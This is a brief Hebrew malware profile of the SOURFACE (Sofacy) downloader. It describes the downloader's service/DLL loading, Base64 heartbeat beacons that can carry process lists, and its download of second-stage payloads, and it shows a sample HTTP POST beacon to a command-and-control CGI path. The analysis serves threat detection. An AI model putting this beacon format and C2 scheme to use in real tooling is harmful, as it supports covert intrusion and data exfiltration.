פרופיל הפוגען SOURFACE

SOURFACE (הידוע גם כ-Sofacy) הוא רש"ג העשוי להשתמש בHTTP על מנת להוריד עוד פוגען אשר לו יכולות נוספות. הפוגען השני( שירד) יכול ליהיות ,DLL קובץ exe, או shellcode( החלק בexploit אשר מנצל את פרצת האבטחה). ההודעות משרת השליטה יכולות ליהיות בקידוד Base64 וכן מוצפן בעזרת שיטת הצפנה המבוססת על שיטת צופן זרם.
פרטים:
את SOURFACE ניתן להריץ כ-service בעזרת ה-ServiceMain (פונקציה האחראית הנמצאת בנקודת הפתיחה של כל שירות) או לטעון כ-DLL. לאחר הטעינה, SOURFACE קודם כל יפענח את ה-stringים הפנימיים ולאחר מכן יפתח שני נתיבי תקשורת. הראשון, שולח הודעות לבדיקת תקשורת תקינה (heartbeat messages) עם ה-string "OK" בקידוד Base64 (T0s=) כל 30 שניות. במקרים מסוימים ההודעות מכילות רשימה של כל התהליכים הרצים על המחשב המותקף. הנתיב השני, מוריד ומריץ את הפוגען שהוריד הרש"ג בצורתו (DLL, EXE, Shellcode).
איור 1: דוגמת הודעת בדיקת תקשורת
POST /~wong/cgi-bin/brvc.cgi?<unique host identifier> HTTP/1.1
User-Agent: MSIE 8.0
Host: <host>
Content-Length: 6
Cache-Control: no-cache
T0s=
ייתכן כי SOURFACE ייצר את הפרמטר <unique host identifier> בעת ההרצה. הוא יכיל את המאפיינים הבאים:
•	שם המחשב הנתקף
•	8 תווים ב-ASCII-Hex (לדעתנו, המרה מASCII לHexadecimel) המהווים את מספר הכונן שממנו הורץ ה-SOURFACE.
•	גרסאות מערכות ההפעלה העיקריות והמשניות הרצות על המחשב הנתקף.

איור 2 מכיל דוגמה לשרשור של בקשות HTTP GET & POST שSOURFACE ישתמש בהן כדי להוריד את הפוגען השני. ע"מ להוריד אותו, SOURFACE יפנה ב-HTTP לURI sptr.cgi עם הפרמטר <unique host identifier>.